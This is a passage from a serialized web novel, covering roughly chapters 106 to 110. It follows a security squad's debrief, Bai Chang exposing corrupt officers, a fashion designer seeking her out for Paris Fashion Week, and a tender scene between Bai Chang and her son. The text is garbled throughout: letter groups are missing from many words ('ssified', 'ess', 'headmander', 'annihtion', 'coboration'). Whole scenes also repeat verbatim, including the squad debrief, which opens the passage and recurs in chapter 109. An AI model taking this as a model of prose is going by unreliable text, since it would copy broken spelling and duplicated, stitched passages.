    We summarised that there is a conflict among them due to some ssified information dubbed ''Project 33''. So we decided to follow target 1 and target 2 separately. Alpha followed target 1 while Beta followed target 2. We separated our paths from the same venue, each following their respective targets.


    As I followed my target, there was no further suspicious activity, other than his frequent calls to the military base. Inside the camp, what happened is a ckout zone for us.


    Then at zero seven hundred hours, I got an SOS signal from Beta. The location was a predetermined meet point near Rubric junction. When I arrived there, I saw a heavily bleeding Beta in hiding. We followed protocol as directed by the headmander and arrived here on the Vi.


    End of report."


    I keep my silence. It is the same asst time only with more details.


    I looked towards Beta, "Report in detail, your pursuit of target 2".


    "Sir yes sir," Beta responded, albeit with a little less vigour than Alpha, "I started my pursuit of target 2 from the abandoned factory, at eighteen hundred hours on Wednesday.


    First I followed behind him at a safe distance of hundred fifty meters. Target two lives a much high profile life. He was identified as a Lt. General in the Army. Mostly in-charge of Military Research and Development, he had ess to various resources and a huge amount of liquidated funds at his hand.


    He had ess to social connections like politicians and high ranking underground members. After his meeting with target one - Feling, he had another meeting with some Russian illegal arms dealer at the same factory. This time as I followed them I sent out signals of my activity to Alpha.


    In the factory, target two made deals with the underground dealer buying arms as well as powdered substance, Which I suspect was drugs. Then they moved towards the more interior parts of the factory and started discussing ''Project 33''.


    For the better hearing purpose, I moved towards the interiors of the factory. They were trying to reach a middle ground on a specific part orponent of ''Project 33''. While the on body camera recorded it all, a reflective surfacepromised my position. One of theckeys of the arms dealer got whiff of me from the reflective surface and called out a warning to the units. They mostly had AK-47 and semi-automatic rifles. While I tried to make my escape from the ce I got shot and came to exchange blows with the doorman. He was skilled in closebat and sharp knife skills. That is where I had heavybat.


    I exchanged my safety with his quick decapitation. After decapitating the doorman, I hid my trail using headmanders first aid and reported to our meeting point. And then I lost my consciousness."


    "Umm hmmm"


    I took a deep breath and said, "Do you know your mistakes?"


    "Sir Yes Sir, we didn''t call for an extra backup," Beta replied.


    "Good, that you are self-aware, otherwise" Iposed myself, "this time you were lucky. But this would not be the case every time. You of all people should be more aware. Do not repeat your past mistakes," I warned him.


    "Squad, let this mission be education to you, there would be no next time. This time do not disappoint the master of Shui family who raised you, we have to protect our


    Miss at any cost this time. We can''t let history repeat itself and lose Miss again to some unfortunate events," I reminded them.


    "As for anything rted to Miss, they are to be ssified to first order, right. No discussion, even among yourself. All things you witness or hear are to be confined within these walls alone, Am I clear?" Imanded.


    "Sir Yes Sir," the squad replied with vigour.


    "Fine, you all will remain here, for the time being, do not touch anything. If we find any disobedience, they will be judged ording to strict martialw," I reminded them before I took my leave from the squad and returned to the main house.


    ****


    The whole evening passed by without any hitch. I wanted to discuss something with Bai Chang, so I headed towards her study room.


    As I moved closer to the door, I heard voices from inside, It was Xiao Wei and Bai Chang having a conversation. As I was about to knock the door the context of the conversation caught me off guard.


    "No Mamma, I know thest time they took me to have leverage on you. I don''t want the past to repeat itself."


    "I trust you the most, Mamma," Xiao Wei replied in his sweet adorable voice.


    At this moment I realised there is deep trauma within this child. He was with Bai Chang during the whole ident, only when Bai Chang saved him did she get caught by the enemy.


    ''So for all these years, this boy has hidden the truth from others as well, deep inside him. All alone ming himself and hurting from it too.'' I thought to myself.


    "Munchkin, what do you remember from that night of the ident?" she asked as she tested the waters. And sure enough, the little boy falls apart and cries.


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    (How did they take care of this child? Are they his family at all? How have they been with him for thest four years?)


    She tried to console the child and let him cry his heart out.


    "Munchkin, Mamma promises that Mamma will always try to be by your side and be with you. Now that Mamma is back, stay with Mamma and I will take care of the rest." She said with determination.


    Listening to all this, I realised its best to give them their own space.


    Thus I left without knocking on the doors.


    ****


    Next morning-


    I finished my early morning exercise and conducted some drills for the squad members, together we ran across the perimeter of the property and double-checked the security measures.


    As I fixed breakfast for the people around I picked up today''s newspaper.


    "Government bust major corruption among the elites"


    The headline itself piqued my interest so I read through the article.


    The more I read, the more I felt incredulous.


    The squad joined in for breakfast and we turned into a news channel.


    "Breaking news! Government exposes major corruption."


    "Military officials were found guilty."


    "Politicians wanted their share of the soup, needless to say, they are all sharing wine of punishment in the detention centre."


    As we watched the whole news, we were all puzzled.


    "Captain, How did our target and surveince material get posted in the National News channel?" Alpha asked.


    I keep my silence. ''I have to talk to Bai Chang ASAP.''


    At this moment Bai Chang walked down the stairs.


    "Zhang Wei, what''s for breakfast today?"


    We all simply stared at her, contemting how to break the news to her.


    "Why are you guys staring at me?"


    She looked towards the TV screen, the news channel was broadcasting the incriminating video material for people nationwide to see.


    "Oh! It aired faster than I thought," she said and sat down on the dining table to have breakfast.


    "What do you mean?" I asked her, not sure what to make out of it.


    "Nothing, that''s my way of getting back at people who try to mess with me, do not worry, the Lt. General is having a st of his time getting VIP treatment from Feling and other senior officers. As for those arms dealers, they were assassinated by the Military," She said.


    "Huh"


    We all collectively took a deep breath.


    Alpha gave her thumbs up and said, "Our headmander is OP in the truest sense".


    We are not aware of how it happened? But we got to see the result, it was an absolute massacre, a total annihtion.


    "Anyone who messes with us the wrong way will get a ticket to the highway of the purgatory," she stated.

 Chapter 106: Contd.

    Chapter 106: Contd.


    [POV Pierro]


    "Pierro!"


    "Pierro!"


    "Pierro, are you with me in here? Pierro!"


    "What?"


    I finally snapped out of my daze.


    "Where are you lost these days? After yourst visit, I always find you sketching the same design over and over again. Tell me honestly, have you run dry of inspiration?" the women in front of me did not let go.


    I sighed.


    "I tink I tink I found my moose."


    "What? Are you sure? I looked up this dress design," I looked at her, "please do not hate me, I wanted to see for myself, what made you so obsessed? So I searched it and I found that it was a dress worn by CEO Hu''s Wife of the Hu Corporation."


    "you rrreal-ly walk de extrrra mile, ooh"


    "Come on, Pierro, I give you that dress is really cool, but we have a deadline to work with. We have to get designing our new line for Annual Haute Couture Fashion Week. We have under a week to get our designs ready.


    Pierro, work with me here, will you?"


    The woman in front of me is my granddaughter, as well as the manager of my fashion house.


    She is a proud Italian woman, with olive hairs and pale blue eyes. She takes mostly after her mother but she inherited her father''s height. She is 5''8'''' tall with heels that''s way over 6''.


    "Loocy dearrr-a, tis time either I ave to worrrk with de same designoi of tat drrres-s-a, orrr I wil-l ave to sit out of tis Fashion Week-a. I cano''t look past er-a. oi fashion sense as oon-wit-tingly inflooenced me."


    "Are you serious?" she asked with some determination.


    "S"


    "Fine, tell me where to book your tickets for, we will fly down to your muse right now."


    There was no hesitation in her manners, once she decides on something, she will walk forward unhesitant. I really like her conviction as well as her strong character. Thus for thest five years, I asked the little girl to manage the fashion house.


    As she walked out of the room, I looked at my drawing pad.


    There was a rough sketch of the dress worn by Mrs Hu, that night.


    The more I look at the sketch, the more I am overwhelmed by the ingenuity of it. I find it as a beautiful puzzle whose answers are beheld by Mrs Hu, the mysterious designer.


    Aftering back from Country C, I always find myself getting caught in my blind side by that girl''s passion for design and fashion.


    I am so looking forward to this visit.


    ****


    Airport, Capital City, Country C-


    "Grandpa, we are here, so from here, where do we go?"


    "I ave de ad-drrres-s with me, let oos get a cab-a, firrrst-a."


    She swiftly called a cab for us.


    We settled in, as the driver asked us, "Where to Sir?"


    "We want to go to The Residency Area, towards the East of the city."


    The driver looked at me, "Are you sure, you have to go to The Residency Area?"


    "Yes, any problem?" I asked the driver.


    "No problem, but I can''t drive you inside. Only to the outside gate. It is a private property with military standard security. Once we reach there, call your friend to verify your identity, before you even try to walk in."


    "Why all the shenanigans? Are we entering a secretir or what?" Lucy joked light-heartedly.


    I quickly clench my fist around her wrist, to warn her.


    She looked at me and then simply looked outside the cab''s window taking in the cityscape.


    We drove for over an hour or so, as we moved towards the East of the city, we discovered that they are to be slowly getting deserted and dominated by the mountains and greenndscape.


    There were more trees and the city was left far behind. The roads looked empty as practically there was no traffic or cars to be seen on the road.


    It was like we were moving more to a nature reserve than a residential area, where people live!


    The cab slowed down, I looked outside the window and was greeted by a high wall with steel gates and ample security to rival a military base.


    As the cab pulled over, a uniform guard walked towards it.


    He came closer and knocked on the window at the back. I looked around. He knocked again.


    I lowered the windshield.


    "Hello, are you Sir Pierro?" the guard asked.


    I was taken by surprise, How did he know who I am?


    "Yes, that''s me," I answered.


    "Good, good. Madame is waiting for you inside. A car is here to take you to your destination, Sir Pierro. Please follow me," he said and pointed towards an SUV parked right on the other side of the gate.


    "Where are we?" Lucy asked me in a hushed voice.


    "We are right where we are supposed to be. Follow me closely and do not speak a word until I say so," I advised her. Knowing her temperament, it is best to do early damage control as much as possible.


    We paid the cab driver and climbed into the other car. The car moved deep into the Residential Area.


    After about fifteen minutes, we stopped in front of a vi. Outside the gate, a gentle girl in pastel green colour maxi dress, with hairs tied up in a messy knot, and wild tresses of hair running loose from the knot and ying with the breeze, was standing in wait. As the car came to a stop, she approached the car.


    "Ciao Pierro!  molto tempo che non ci si vede. Come stai? Prima di tutto,scia che ti chieda scusa per tutti gli imbrogli che hai passato. Per favore scusa mio marito, mi trattae una fragile bamb di vetro, che sparir nel nu in qualsiasi momento. Quindi tutti questi livelli extra di protezione," she apologised.


    (Hello Pierro! long time no see. How are you? First and foremost, let me apologise to you for the whole shenanigans you went through. Please excuse my husband, he treats me like a fragile ss doll, who will disappear in a thin air anytime. So all these extrayers of protection.)


    "Mio bellissimo angelo, sei scusato di tutte le use. Conosco il CEO Hu da molto tempo e so quanto possa essere possessivo quell''uomo per te!" I replied.


    (My beautiful angel, you are excused of all charges. I have known CEO Hu for a long time and I know how possessive that man can be for you!)


    "Pleasee in," she weed us into her home.


    "Ms Bai Chang, per favore, in contra mia nipote Lucy.  manager de mia casa di moda e il mio attuale capo," I introduced Lucy to her, while I cracked a few jokes to make the atmosphere rxed.


    (please meet my granddaughter Lucy. She is the manager of my fashion house as well as my current boss.)


    "Wee Lucy, please make yourselffortable," she directed us to a parlour and invited us to take a rest.


    "Sir Pierro, you are a busy man. How did you make time to fly down and look for this housewife? Don''t you have a Fashion Week to attend in a week?" She cut right to the point.


    "Ms Bai Chang, I guess I require your help to even put out a design for the uing event," I admitted to her honestly.


    "Why sir? What happened?" she asked.


    The girl sitting across from me looked so exact and beautiful. As I got to look at her closely, I realised that she is wearing a self-designed dress. The dress looks simple but it is most often difficult to reach simplicity. She is truly my muse. I didn''t go wrong with it.


    "Ms Bai Chang, scusa mia digressione ma sento che sei mia Musa e non riesco a pensare ad altro se non al tuo design e ai vestiti che hai fatto e indossato, l''ultima volta che ti ho incontrato," I stated to her clearly.


    (excuse my digression but I feel you are my Muse and I can''t think of anything other than your design and the clothes you made and wore, thest time I met you.)


    "I understand, immagino che tu abbia un programma serrato. Non sprecher il tuo tempo. Lascia che ti apagni nel mio studio e possiamovorare insieme. Sorprendiamo il mondo con dei bellissimi pezzi," she answered unhesitantly.


    (I guess you are on a tight schedule. I will not waste your time. Let me walk you to my studio and we can get to work together. Let us surprise the world with some beautiful pieces.)


    "I like you, Ms Shui. You are my type of gal. let us have a pleasant and sessful coboration," Lucy spoke as she offered her hand to Mrs Hu as they shook to establish a coboration.


    "Fine, as we have put the groundwork let me take you to the studio without any further dys," Bai Chang turned and walked ahead of us as she directed us to her studio to get down to real work.

 Chapter 107: Where to?

    Chapter 107: Where to?


    We walked across thewn and then walked into an outhouse.


    "Il tuo studio  qui?" I asked her. (Your Studio is here?)


    "S" she replied.


    We walked in.


    As I walked in, my eyes came across various mannequins, who were dressed in designs that are not to be seen outside this ce. The whole floor had rows after rows ofpleted dress sitting on those lifeless mannequins, providing them with a reason for their existence.


    As I looked at the dresses I could already visualise the person who could wear it. There were so many details and so much consideration for the wearer that a buyer would fall in love with the dresses just like that.


    "Woohoo!" Lucy whistled as she looked through the dresses, "you can open a high-end fashion boutique with all the designs you have here," she turned towards me and said, "old man how about you retire and in your ce I hire her for our fashion house," she excitedly stated.


    I pulled her by her ears and reprimanded, "If you do not wish to die, you stay away from her".


    "Yeah! That is so true, that cold faced husband of you will simply cut me into pieces and have me for lunch or dinner without even letting out blurbs."


    "Hehe, hahaha, bahaha!" Bai Changughed out loud, "I didn''t know he was this infamous outside. Well if a beautifuldy like you ditches him, then I guess it is his loss. Come here with me, I have a vibe that you and I will get along pretty well."


    "You are really cool!" Lucy eximed.


    "Come on Lucy do not get ahead of yourself here," I cautioned her. Whatever it may, but I do not want to antagonise CEO Hu, so that I can get to coborate more in future with my muse.


    "Sir Pierro, rest assured, Qiang will know nothing that happens here."


    She asked us to follow inside. The more we walked inside the ce, the more I was amazed. The amount of work that she put up here is more than enough to showcase in more than five Fashion Weeks.


    Then we walked into her design room. The whole room had the aura of a passionate designer. There were so many designs and fabrics rolled and organised against the wall, that it is a dream of all designers to have such a diverse collection at the tips of their hand.


    The drawing board had a few unfinished sketches. While the room had a few more sketches lying on her table. Some were put up on a board with their designated fabrics. Looking at all these designs I feel the youth in me flush with vigour, my blood boiled with passion.


    "Questi sono l''epitome dell''ellenza, incredibile Be, incredibile. Questi pezzi sono un vero gioiello," I eximed. (These are on the epitome of excellence, amazing Be, amazing. These pieces are an absolute gem.)


    "Grazie, Pierro" (thank you)


    As I continued to look around, my eyes were dazzled while the designer soul in me felt very blessed at the moment; as I could witness the birth of Fashion World''s next dominant yer.


    "Lucy, which Fashion Week were you referring to when you said you are rushing to meet deadlines?" she asked.


    "It is Haute Couture Fashion Week in less than a week''s time. We have no designs prepared yet and I have no idea if we will make it at all for this show?"


    "Then let me help you if you do not mind my intrusion" she offered.


    "Be, I appreciate your enthusiasm but we are really short of time on our hands to even piece together a presentable piece for the runway," I answered her exasperatedly.


    "Wait for a second, will you?" She said so and moved towards a corner of the design room. As she seemingly touched the wall a hidden cab shows up.


    From there she looked through the cab and carefully pulled out five clothes covers.


    "Here, have a look at this," she offered as she ced the clothes cover bag in front of us and casually opened it.


    "Sono ezionalmente belli!" (They are exceptionally beautiful!)


    I jumped at my ce as I looked over the dresses, they are a piece of art in itself. I was dumbfounded looking at them.


    "Be signora, progettiamo insieme una sfta epica. Terminiamo cultura de moda di quest''anno con una nota alta di arte e moda che si uniscono per suonare una sinfonia," I answered her determinedly.


    (beautifuldy, let''s n an epic Runway together. Let us end this year''s fashion culture on a high note of art and fashioning together to y a symphony.)


    "These are already made, how do you propose to put it forward Bai Chang?" Lucy asked her without any hesitation to know her interest.


    "Lucy, help meunch my line under your fashion house as a protegee trained by Sir Pierro himself. This will help me to disguise myself from too much public scrutiny. I want to walk the frontline, without any media trouble. Is it too much to ask?"


    She had a slight fear of rejection in the very deep of her eyes. Though it was not made obvious by her, she still felt deeply about this coboration.


    As I looked around the design room, I realised that it would be an honour of mine to introduce her to the world as my protegee, even though I have not trained her, I did discover her.


    "Sarebbe un mio grande onore se potessi presentarmi al mondoe mio protetto e anchee mia musa ispiratrice. Ti va bene narrazione?" I asked her.


    (It would be a great honour of mine if I could introduce to the world my protege as well as my muse. Are you okay with the narrative?)


    "Whatever you deem appropriate we will follow along with that," she replied agreeing to it easily.


    Lucy found the timing optimal, so she asked out loud, "So does that mean I get to make some calls to fix our models and stage theme?"


    "Sure let me help you with it," Bai Chang replied to Lucy.


    The girls already had a n and they were ready to act upon it as soon as possible. I realised they both are a go-getter type of person. Once decided upon something they will act upon the same immediately or at the next opportune moment.


    "Be, ho una proposta per te. A mio modesto parere, sento che l''abito da esposizione dovrebbe essere indossato da te per presentarlo al mondo, poich sento che il vero significato dell''abito e il pensiero dietro di esso potrebbe essere espresso solo da te. Sono molto serio quando ho espresso i miei sentimenti, che trovo te mia musa ispiratrice. Sento che il mondo dovrebbe vedere quello che ho visto io. E per qualsiasi motivo tu voglia finalmente uscire al mondo, penso che essere un po ''pi pubblico ti aiuter a garantire tua sicurezza. Pensaci almeno una volta," I proposed an offer to her.


    (Be, I have a proposition for you. In my humble opinion, I feel that the showstopper dress should be worn by you to present to the world as I feel the true meaning of the dress and the thought behind it could only be expressed by you. I am very serious when I express my feelings, that I find you my muse. I feel the world should get to see what I saw. And for whatever reasons you want to finallye out to the world. I... I think being a little more public will help you to assure your security. Think about it at least once,")


    "Sir Pierro do you trust me that much?" she asked with uncertainty.


    "Posso mettere che il mio marchio de casa di moda  serio riguardo all''offerta".


    (I can bet my fashion housebel that I am serious about the offer.)


    "Then sir Pierro, I will depend on your guidance to navigate thising fashion Week," then she turned to Lucy, "we will need appropriate supermodels to carry the dresses. You think we can arrange that on such short notice?"


    "Leave that on me, I will get you the right fit," she picked up the papers kept along with the designs, "trust me, I have your notes to guide me. Nothing will go wrong".


    "Okay, then next is stage designs and music selection."


    "On it."


    "Where is the venue of the concerned Fashion Week?"


    "Where else could it be? Of course, it is in Paris," Lucy replied.


    "Hmm"


    "Any problem Bai Chang?" I asked her.


    "No.. nothing. I will go and get everything ready for a trip. Please continue the discussion."


    Then she rushed out of the outhouse to prepare for the trip while Lucy started to contact supermodels all over the world to see if the required people are free and not already booked with other shows.


    The ce turned into a temporary working station for us. While I still had my eyes glued to the designs kept on the outer clothes rack.


    ------------------------------------------------------


    AUTHOR''s SERIOUS REQUEST- date of issue 17/02/21


    Hey Readers if you are reading this, it means the following notice is still valid-


    I request you all to not read further chapters. First I was not satisfied with what I wrote so currently, I am in process of rewriting my entire stockpile for this month. And as unexpectedly I am facing a major crisis in my real life (my mother is very sick so nursing her has be a full 24-hour job), so please excuse me for the dy. I do not want you all to feel disappointed with the story, so I am uploading a few of the old chapters until I upload the re-edited chapters.


    Please bear with me a little here, I will get this story on track little by little. I ask for your support and patience in return.

 Chapter 108: Contd.

    Chapter 108: Contd.


    [POV Hu Qiang]


    Inside Hu Qiang''s Office at The Hu Corporation Headquarters-


    "Bosss"


    My entire being had goosebumps after listening to his sharine voice.


    "Li Ming, behave. How many times do I have to tell you to speak properly?" I rebuked him.


    "Boss, I heard you got thrown out of Madame''s house this time."


    ''Would it kill him if doesn''t speak of it?''


    "Li Ming, are you interested to work in the international department with Matt?"


    As soon as he heard Matt''s name he turned into a shrivelled eggnt.


    "Boss, do you hate me so much? You are feeding me to that wolf." He looked at me with gooey eyes.


    "Then get some work done."


    I do not understand, they are couples, yet they love to stay away from each other. On the other hand if one suffers any injustice the other woulde running to be a knight in shining armour of the other partner.


    They met while working in my New York office and since then they have been involved in a whirlwind love affair.


    "Why are you so scared of Matt? It''s not like he will eat you up!"


    "Boss, why are you scared of Lady boss then? It''s not like she will kill you!" he retorted.


    I am left speechless by his shamelessness.


    "That''s a low blow, I guess I will simply call over Matt here to work with me than you. You can go sulk across the Pacific ocean."


    "Boss, did someone tell you that you are turning into a vengeful ghost. Leave Matt be, after all, I am here to serve you," he said in his sharine voice.


    "Will it kill you to use a normal voice, I get goosebumps listening to you. I so miss Li Jie. He was much better than you."


    "What''s so good about that stoic man, as hard as stone, only knows how to work!" he pouted.


    "Enough talks let''s get back to business."


    My heart is a little light after a light banter with Li Ming, after I reach home I will have to think of ways to get close to my wife.


    "Boss, Matt informed mest night, we have potential bidders for the security code international version. Among the bidders, some are our previous customers but this time we also have some new faces."


    "Who are they?"


    "He said that it is better to talk in person to deliver the relevant news," he replied.


    I raised an eyebrow, "Matt said this?"


    "Yes"


    "Then we have a business tour to n, What else are there?"


    "Boss, the government wants to impose an exclusive use on the security codes, in fact, they arranged a meeting with us in another half an hour."


    "Where?"


    "In the Military base."


    ''Hmm''


    I wonder if they are trying to pressurise me into giving them the technology for free.


    "Okay, let me see the Military Base is forty minutes away from here, we will never reach on time so why are you informing me about this so-called meeting now?"


    "Boss, the meeting details were lost in the piles of various office memos. So we were not aware of this meeting until just now. How could we be med if they don''t even know how to arrange a meeting?" He answered while sounding all flustered.


    While I was admiring the ck-bellied of this man inside, I went along with his line of narration.


    "Okay, let me make some calls, while you handle the paperwork," I ordered.


    "As usual," he winked at me and left my office.


    While inside the office I am left with a ton of work that uses too much brainpower.


    ****


    [POV Bai Chang]


    After the nifty little trick that I yed on Feling and that General, I spend most of my time with Xiao Wei.


    "Mamma, What is it like to be a genius?"


    "Why do you ask?" I look towards the adorable munchkin.


    "Because I feel they are lonely."


    He was calm as he answered, I sensed that we might have some deep talks today so I simply followed the flow and asked him back gently, "Why do you feel so?"


    "Because I saw you being lonely," he answered in that baby voice of his.


    We do not give enough credit to children but they are an excellent observer of their surroundings.


    (I guess today, it''s my turn to get busted by him!)


    "Munchkin," I pull him on myp as he sits facing towards me, "What made you feel so?" I asked.


    "Mamma, you always take actions alone, I am small so I can''t help you, while you don''t seem to trust dad either. As a matter of fact, it mighte across that you do not trust others at all. Is it all because of me? Is it because of what happened almost four years back?" he asked me with misty eyes.


    I looked on as the unshed tears in his eyes brought about a sharp pain in my heart.


    (That is a mother''s heart, clenching up in presence of her upset son.)


    I look into Xiao Wei''s eyes. They resemble Bai Chang''s eyes the most. Those misty eyes holding several unspoken words.


    "Munchkin, do you trust Mamma?" I asked as I do not want to lie to his little fellow. He deserves every bit of happiness.


    "Are you sad that Mamma took you away from school?"


    "No Mamma, I know thest time they took me to have leverage on you. I don''t want the past to repeat itself."


    (My heart breaks as I listen to this little boy. ''How much did he go through when Bai Chang was asleep?'')


    "I trust you the most, Mamma," he replied in his sweet adorable voice.


    At this moment I realised as I look into his eyes, there is deep trauma within this child. He was with Bai Chang during the whole ident, only when Bai Chang saved him did she get caught by the enemy.


    So for all these years, this boy has hidden the truth from others as well, deep inside him. All alone ming himself and hurting from it too.


    "Munchkin, what do you remember from that night of the ident?" I asked as I tested the waters. And sure enough, the little boy, the treasure of Bai Chang''s heart, falls apart for the first time and cries.


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    I pulled him much closer to me and hugged him tightly, while I let the little boy who turned into a man cry.


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    I let the little munchkin cry as I pat his back and rubbed his head. My heart seared and I felt a wave of unced anger towards the Hu family.


    (How did they take care of this child? Are they his family at all? How have they been with him for thest four years?)


    There were so many unanswered questions but they all had to wait.


    I try to console this child. I let him cry his heart out.


    "Munchkin, Mamma promises that Mamma will always try to be by your side and be with you. Now that Mamma is back, stay with Mamma and I will take care of the rest."


    I do not force Xiao Wei anymore to relive his nightmare. Instead, I started to sing the luby that I sang for himst time.


    "Oh my sleeping child


    The world so wild


    But you build your own paradise


    That''s one reason why


    I''ll cover you sleeping child


    The milky way upon the heavens


    Is twinkling just for you


    And Mr. Moon, he came by


    To say goodnight to you


    I sing for you


    I sing for mother


    We''re praying for the world


    And for the people everywhere


    Gonna show them all we care


    Oh, my sleeping child


    The world''s so wild


    But you built your own paradise


    That''s one reason why I''ll cover you, sleeping child


    If all the people around the world


    They had a mind like yours


    We''d have no fighting and no wars


    There would besting peace on earth


    If all the kings and all the leaders


    Could see you here this way


    They would hold the earth in their arms


    They would learn to watch you y (They would learn to"


    And he fell asleep in myp, exhausted from all that crying and emotional turmoil.


    Looking at his adorable face, I silently harden my heart to get those bas***ds from past to justice, if only for Xiao Wei''s sake.


    "Don''t worry child, Mamma will always be your shield," I brushed his hair away from his head and then carried him to the bedroom, to let him rest properly.


    ------------------------------------------------------


    <em><strong>AUTHOR''s SERIOUS REQUEST- date of issue 17/02/21</strong></em>


    Hey Readers if you are reading this, it means the following notice is still valid-


    I request you all to not read further chapters. First I was not satisfied with what I wrote so currently, I am in process of rewriting my entire stockpile for this month. <strong>And as unexpectedly I am facing a major crisis in my real life (my mother is very sick so nursing her has be a full 24-hour job), so please excuse me for the dy. I do not want you all to feel disappointed with the story, so I am uploading a few of the old chapters until I upload the re-edited chapters.</strong>


    <em>Please bear with me a little here, I will get this story on track little by little. I ask for your support and patience in return.</em>

 Chapter 109: Work

    Chapter 109: Work


    [POV Zhang Wei]


    I stayed back with the squad to look after Beta. As I look at his recovery process, a hundred drums are beating in my heart.


    ''How did she do it?''


    It is beyond my imagination that injuries that would take at least a month to heal even after superior medical care just got healed in a matter of one day right before my eyes.


    Even if I think with my knees I know, this type of medical service is unprecedented in our world.


    ''Did she inherit the old Master''s Family secret?"


    While my brains are trying to draw its own inferences, I know I have to handle the squad first. Because, if this leaks out we are doomed.


    Finally, I put together Beta''s medical charts and gathered the squad for a team meeting.


    "Everyone gathers around the bed, its team meeting time," I called out.


    rush  rush.


    The members form a line at the tail end of the patient bed, Beta is still lying down on the bed, but colour has returned to his face, a sign of good recovery. I am standing beside him.


    "Gentlemen, you are aware of what happened during this mission? List it out for me."


    "Sir Yes Sir," Alpha responded, "The mission objective was to babysit target 1 name- Feling. At sixteen hundred hours on Wednesday, we followed Target 1 to an abandoned factory at the outskirts of the city. There we witness a deal taking ce between target 1 and some other person. We tagged the person as Target 2.


    Target 2 profile- tall around 165 cm, age range around thirty-eight to forty-five. Distinct feature- salty hairs and higher rank military officer.


    Due to theck of audio surveince tools, we were unable to eavesdrop on the actual conversation. We opted for lip reading.


    We summarised that there is a conflict among them due to some ssified information dubbed ''Project 33''. So we decided to follow target 1 and target 2 separately. Alpha followed target 1 while Beta followed target 2. We separated our paths from the same venue, each following their respective targets.


    As I followed my target, there was no further suspicious activity, other than his frequent calls to the military base. Inside the camp, what happened is a ckout zone for us.


    Then at zero seven hundred hours, I got an SOS signal from Beta. The location was a predetermined meet point near Rubric junction. When I arrived there, I saw a heavily bleeding Beta in hiding. We followed protocol as directed by the headmander and arrived here on the Vi.


    End of report."


    I keep my silence. It is the same asst time only with more details.


    I looked towards Beta, "Report in detail, your pursuit of target 2".


    "Sir yes sir," Beta responded, albeit with a little less vigour than Alpha, "I started my pursuit of target 2 from the abandoned factory, at eighteen hundred hours on Wednesday.


    First I followed behind him at a safe distance of hundred fifty meters. Target two lives a much high profile life. He was identified as a Lt. General in the Army. Mostly in-charge of Military Research and Development, he had ess to various resources and a huge amount of liquidated funds at his hand.


    He had ess to social connections like politicians and high ranking underground members. After his meeting with target one - Feling, he had another meeting with some Russian illegal arms dealer at the same factory. This time as I followed them I sent out signals of my activity to Alpha.


    In the factory, target two made deals with the underground dealer buying arms as well as powdered substance, Which I suspect was drugs. Then they moved towards the more interior parts of the factory and started discussing ''Project 33''.


    For the better hearing purpose, I moved towards the interiors of the factory. They were trying to reach a middle ground on a specific part orponent of ''Project 33''. While the on body camera recorded it all, a reflective surfacepromised my position. One of theckeys of the arms dealer got whiff of me from the reflective surface and called out a warning to the units. They mostly had AK-47 and semi-automatic rifles. While I tried to make my escape from the ce I got shot and came to exchange blows with the doorman. He was skilled in closebat and sharp knife skills. That is where I had heavybat.


    I exchanged my safety with his quick decapitation. After decapitating the doorman, I hid my trail using headmanders first aid and reported to our meeting point. And then I lost my consciousness."


    "Umm hmmm"


    I took a deep breath and said, "Do you know your mistakes?"


    "Sir Yes Sir, we didn''t call for an extra backup," Beta replied.


    "Good, that you are self-aware, otherwise" Iposed myself, "this time you were lucky. But this would not be the case every time. You of all people should be more aware. Do not repeat your past mistakes," I warned him.


    "Squad, let this mission be education to you, there would be no next time. This time do not disappoint the master of Shui family who raised you, we have to protect our


    Miss at any cost this time. We can''t let history repeat itself and lose Miss again to some unfortunate events," I reminded them.


    "As for anything rted to Miss, they are to be ssified to first order, right. No discussion, even among yourself. All things you witness or hear are to be confined within these walls alone, Am I clear?" Imanded.


    "Sir Yes Sir," the squad replied with vigour.


    "Fine, you all will remain here, for the time being, do not touch anything. If we find any disobedience, they will be judged ording to strict martialw," I reminded them before I took my leave from the squad and returned to the main house.


    ****


    The whole evening passed by without any hitch. I wanted to discuss something with Bai Chang, so I headed towards her study room.


    As I moved closer to the door, I heard voices from inside, It was Xiao Wei and Bai Chang having a conversation. As I was about to knock the door the context of the conversation caught me off guard.


    "No Mamma, I know thest time they took me to have leverage on you. I don''t want the past to repeat itself."


    "I trust you the most, Mamma," Xiao Wei replied in his sweet adorable voice.


    At this moment I realised there is deep trauma within this child. He was with Bai Chang during the whole ident, only when Bai Chang saved him did she get caught by the enemy.


    ''So for all these years, this boy has hidden the truth from others as well, deep inside him. All alone ming himself and hurting from it too.'' I thought to myself.


    "Munchkin, what do you remember from that night of the ident?" she asked as she tested the waters. And sure enough, the little boy falls apart and cries.


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    "Wuhh Wuhuuu Wuhhh Wuhuuu"


    (How did they take care of this child? Are they his family at all? How have they been with him for thest four years?)


    She tried to console the child and let him cry his heart out.


    "Munchkin, Mamma promises that Mamma will always try to be by your side and be with you. Now that Mamma is back, stay with Mamma and I will take care of the rest." She said with determination.


    Listening to all this, I realised its best to give them their own space.


    Thus I left without knocking on the doors.


    ****


    Next morning-


    I finished my early morning exercise and conducted some drills for the squad members, together we ran across the perimeter of the property and double-checked the security measures.


    As I fixed breakfast for the people around I picked up today''s newspaper.


    "Government bust major corruption among the elites"


    The headline itself piqued my interest so I read through the article.


    The more I read, the more I felt incredulous.


    The squad joined in for breakfast and we turned into a news channel.


    "Breaking news! Government exposes major corruption."


    "Military officials were found guilty."


    "Politicians wanted their share of the soup, needless to say, they are all sharing wine of punishment in the detention centre."


    As we watched the whole news, we were all puzzled.


    "Captain, How did our target and surveince material get posted in the National News channel?" Alpha asked.


    I keep my silence. ''I have to talk to Bai Chang ASAP.''


    At this moment Bai Chang walked down the stairs.


    "Zhang Wei, what''s for breakfast today?"


    We all simply stared at her, contemting how to break the news to her.


    "Why are you guys staring at me?"


    She looked towards the TV screen, the news channel was broadcasting the incriminating video material for people nationwide to see.


    "Oh! It aired faster than I thought," she said and sat down on the dining table to have breakfast.


    "What do you mean?" I asked her, not sure what to make out of it.


    "Nothing, that''s my way of getting back at people who try to mess with me, do not worry, the Lt. General is having a st of his time getting VIP treatment from Feling and other senior officers. As for those arms dealers, they were assassinated by the Military," She said.


    "Huh"


    We all collectively took a deep breath.


    Alpha gave her thumbs up and said, "Our headmander is OP in the truest sense".


    We are not aware of how it happened? But we got to see the result, it was an absolute massacre, a total annihtion.


    "Anyone who messes with us the wrong way will get a ticket to the highway of the purgatory," she stated.

 Chapter 110: 123

    Chapter 110: 123


    [POV Hu Qiang]

